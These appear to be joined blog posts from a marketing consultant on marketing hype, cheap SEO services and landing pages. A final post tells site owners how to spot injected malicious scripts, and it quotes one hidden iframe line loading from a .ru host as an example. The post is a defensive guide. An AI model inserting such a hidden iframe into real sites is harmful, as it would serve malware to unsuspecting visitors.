The buzz that Digital Marketing has created is relentless. It keeps on growing day by day. But somewhere in the jargons and the hype we have lost the essence of Digital Marketing. It has turned into a business more centered on buildup than reality. More likes than revenue, more fake followers than actual ones, more views than clicks and more traffic than actual customers.
I think it’s an ideal opportunity to take a back seat and focus on our objectives rather than the hype created. There are several simplistic ways and tweaks that can give you higher ROI. 


Most of the people reading this would concur with me who have been guaranteed the sky, but realistically couldn’t accomplish even the basic revenue targets.

If you are frustrated with your digital marketing campaigns then you need to ask these few questions-

• Are we targeting the right audience and channels?
• Are our ads more hyped than the actual product or services?
• Do we have a right tracking mechanism implemented to track our goals?
•  Are all the campaigns, giving us the expected results?
•  Do we actually provide the services the way it’s hyped on the website?

Keep your digital marketing approach SMART…Specific…Measurable…Attainable…Relevant…Timely & most important one be Genuine.

Negative feedbacks about few Cheap SEO services prompted me to write this article to make people aware of the current market situation. Today the internet market is flooded with Cheap SEO services. If you have cheap products or cheap services then obviously you can go for one of these low cost services. But if you are really trying to make your mark on the internet platform then you need to shell our few more bucks instead of using cheap services. Well not all the companies branding themselves with cheap seo services are fraudulent, some of them might be just targeting the keyword to get potential traffic to their website.

But I have seen recent trends where people have been going for cheap seo services without trying to find the facts about these companies and their credentials. The only thing hovers over their mind is the low cost but they fail to foresee the problems that they will be facing ahead. I have retained clients who have actually gone for the lucrative cheap advertisements with good sales pitch and now have found themselves nowhere to go.

Facts:

1) The companies which offer really cheap services will not be able to sustain for too long.
2) To sustain they should have multiple projects distributed among its employees, who in return are not able to justify their services for individual clients.
3) Low cost means cheap labor and talent doesn't come cheap.

Remember: Nothing comes cheap and everything has a price…
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Lot of people are so engrossed about driving traffic to their site and getting ranked in search engines that they forget how important it is to convert the traffic that does come to their website. It will not matter if you get hundreds of visitors per day, if you do not have a site that can convert those visitors into some sales. If you fail to grab your reader’s attention for the first 15 seconds, you have lost your opportunity to acquire a lead or make money. That is why putting some time and effort optimizing your landing webpage will create a huge difference in your business.

What is a landing page?

A landing page is created to give the first impression to your visitors and tell them about what they need and how you can solve their problem. If you manage to deliver that information and grab your visitor’s attention, you will be successful.
Best Practices to create a successful landing page:

• Have a compelling headline

• Always include an opt-in form to capture your buyer's information and build your subscriber list!

• Include a bonus package of your own to reward them for buying through you!

• Make sure that your content is specific and object oriented. Too much of content can turn off a potential customer.

• Testimonials & list of Clientele can create a sense of assurance with the visitors.
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Creating a landing page is an art and everybody is not an artist…

Recently there have been lots of cases of malicious script injection in the websites html code. This has been a menace for lot of businesses as this type of attack can result in loss of business since the browsers like Chrome & Firefox block the websites and show warnings which drive the visitors away. The virus has been improving its techniques as the days go by.

To avoid being flagged by Google for malicious script please keep checking your website for iframes. There have been recent developments where the virus has started adding just java scripts without using the iframes in order to avoid detection. In some cases the whole structure of a web page has been damaged by these scripts.

How to check whether your website has been injected by the script?

1) Visit the website.
2) Click on the View Tab on the Main menu and select Source.
3) The whole source code for your webpage is displayed.
4) Search for “iframe”. The iframe code is usually at the start of the body tag or before the end of the body tag .
5) The script will be somewhat like this
div style="display:none" iframe src="http://offiget.ru:8080/index.php" width=732 height=186

Preventions:-
Change the FTP password for your website frequently.
If attacks are frequent on the index page, rename your default page.
Change the permissions for the files on the server.